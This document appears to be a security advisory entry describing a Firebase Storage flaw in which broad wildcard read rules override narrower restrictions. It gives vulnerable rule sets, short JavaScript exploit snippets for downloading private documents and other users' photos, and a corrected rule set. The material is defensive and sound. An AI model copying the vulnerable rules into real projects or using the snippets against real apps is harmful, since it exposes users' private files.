Skip to content

Firebase Security Vulnerability: FB-RULE-011

Name: Firebase Storage Overlapping Permissive Rule Vulnerability

Applicable Services: Firebase Storage, Cloud Storage for Firebase

Description

Technical Vulnerability Overview

The Technical Flaw: Firebase Storage security rules are evaluated using logical OR operations, meaning if any rule grants access, the request is allowed regardless of other rules that might deny access. This creates vulnerabilities when broad permissive rules inadvertently override more specific restrictive rules.

Intended Behavior: Security rules should be designed with the principle of least privilege, where access is granted only to specific resources that users legitimately need, without broader rules that can bypass intended restrictions.

The Risk: Users can access protected files and directories that developers intended to restrict, leading to unauthorized access to sensitive data, private documents, or administrative resources.

Impact

Potential Consequences

This vulnerability can lead to significant security breaches:

  • Unauthorized Data Access: Users can access private files, documents, or images in supposedly protected directories
  • Privacy Violations: Personal data, private photos, or confidential documents become accessible to unauthorized users
  • Administrative Bypass: Access to administrative files or configuration data that should be restricted
  • Data Exfiltration: Systematic downloading of protected content by iterating through directory structures
  • Compliance Violations: Breach of data protection regulations when sensitive files are inadvertently exposed
  • Business Intelligence Leaks: Access to proprietary documents, reports, or strategic information

Example Attack Scenarios

Exploit Scenario: Private Document Access via Broad Rule

The Vulnerable Rules:

rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    // VULNERABLE: Broad rule allows authenticated users to read anything
    match /{allPaths=**} {
      allow read: if request.auth != null;
    }

    // INEFFECTIVE: This specific restriction is overridden by the broad rule above
    match /private/{document} {
      allow read: if false; // Intended to deny all access
    }

    match /admin/{adminFile} {
      allow read: if request.auth.token.admin == true;
    }
  }
}

Attacker's Goal: To access private documents stored in the /private/ directory that should be completely restricted.

The Exploit: Any authenticated user can access supposedly private files:

// Attacker is logged in as a regular user
const storage = firebase.storage();

// Access files in the "private" directory despite restrictive rule
const privateFileRef = storage.ref('private/confidential-report.pdf');

try {
  const downloadURL = await privateFileRef.getDownloadURL();
  console.log('Successfully accessed private file:', downloadURL);

  // Download the file
  const response = await fetch(downloadURL);
  const blob = await response.blob();
  console.log('Downloaded private document:', blob.size, 'bytes');

} catch (error) {
  console.error('Access denied:', error);
}

// Also access admin files
const adminFileRef = storage.ref('admin/user-database-backup.json');
const adminURL = await adminFileRef.getDownloadURL();
console.log('Also accessed admin file:', adminURL);

Outcome: The attacker successfully downloads private documents and admin files because the broad permissive rule overrides the specific restrictive rules.

Exploit Scenario: User Profile Photo Privacy Bypass

The Vulnerable Rules:

rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    // VULNERABLE: Allow users to manage their own files
    match /users/{userId}/{allPaths=**} {
      allow read, write: if request.auth != null;
    }

    // INEFFECTIVE: Attempt to restrict private photos
    match /users/{userId}/private_photos/{photoId} {
      allow read: if request.auth.uid == userId;
    }
  }
}

Attacker's Goal: To access other users' private photos that should only be visible to the photo owner.

The Exploit: Any authenticated user can access any user's private photos:

// Attacker wants to access victim's private photos
const victimUserId = 'victim-user-123';
const storage = firebase.storage();

// List and access victim's private photos
const privatePhotosRef = storage.ref(`users/${victimUserId}/private_photos`);

try {
  const photosList = await privatePhotosRef.listAll();

  for (const photoRef of photosList.items) {
    const photoURL = await photoRef.getDownloadURL();
    console.log(`Accessed private photo: ${photoRef.name} - ${photoURL}`);

    // Download the private photo
    const img = new Image();
    img.src = photoURL;
    document.body.appendChild(img);
  }

} catch (error) {
  console.error('Access error:', error);
}

Outcome: The attacker successfully accesses and downloads private photos belonging to other users, violating their privacy.

Mitigation

The vulnerability is resolved by removing broad permissive rules and implementing properly scoped, specific security rules.

rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    // VULNERABLE: Broad rule that overrides specific restrictions
    match /{allPaths=**} {
      allow read: if request.auth != null;
    }

    // INEFFECTIVE: These specific rules are overridden
    match /private/{document} {
      allow read: if false;
    }

    match /admin/{adminFile} {
      allow read: if request.auth.token.admin == true;
    }

    // VULNERABLE: Overly broad user directory access
    match /users/{userId}/{allPaths=**} {
      allow read, write: if request.auth != null;
    }

    match /users/{userId}/private_photos/{photoId} {
      allow read: if request.auth.uid == userId;
    }
  }
}
rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    // SECURE: Specific rules with proper authorization

    // Public files - explicitly defined scope
    match /public/{fileName} {
      allow read: if true;
      allow write: if request.auth != null;
    }

    // User profile photos - owner access only
    match /users/{userId}/profile_photos/{photoId} {
      allow read, write: if request.auth.uid == userId;
    }

    // Private photos - owner access only
    match /users/{userId}/private_photos/{photoId} {
      allow read, write: if request.auth.uid == userId;
    }

    // User documents - owner access only  
    match /users/{userId}/documents/{docId} {
      allow read, write: if request.auth.uid == userId;
    }

    // Admin files - admin access only
    match /admin/{adminFile} {
      allow read, write: if request.auth.token.admin == true;
    }

    // Private directory - completely restricted
    match /private/{document} {
      allow read, write: if false;
    }

    // Shared files with specific permissions
    match /shared/{fileId} {
      allow read: if request.auth != null && 
                 resource.metadata.sharedWith != null &&
                 request.auth.uid in resource.metadata.sharedWith;
    }

    // Default deny for all other paths
    match /{allPaths=**} {
      allow read, write: if false;
    }
  }
}

Security Rules Best Practices

Avoid Broad Wildcards: Never use /{allPaths=**} with permissive conditions as it will override more specific rules.

Principle of Least Privilege: Grant access only to the specific files and directories users legitimately need.

Rule Ordering Strategy: - Start with the most specific rules - Use broad rules only for explicit denial (default deny) - Test rule combinations thoroughly

Key Security Principles: - Explicit Permissions: Each file path should have explicitly defined access rules - Owner-Based Access: Use request.auth.uid == userId patterns for user-owned content - Role-Based Access: Use custom claims for administrative access - Default Deny: End with a catch-all rule that denies access to undefined paths

Testing Your Rules:

// Test with Firebase Storage Rules Simulator
// Verify that restricted paths are actually inaccessible
// Test with different user roles and authentication states

References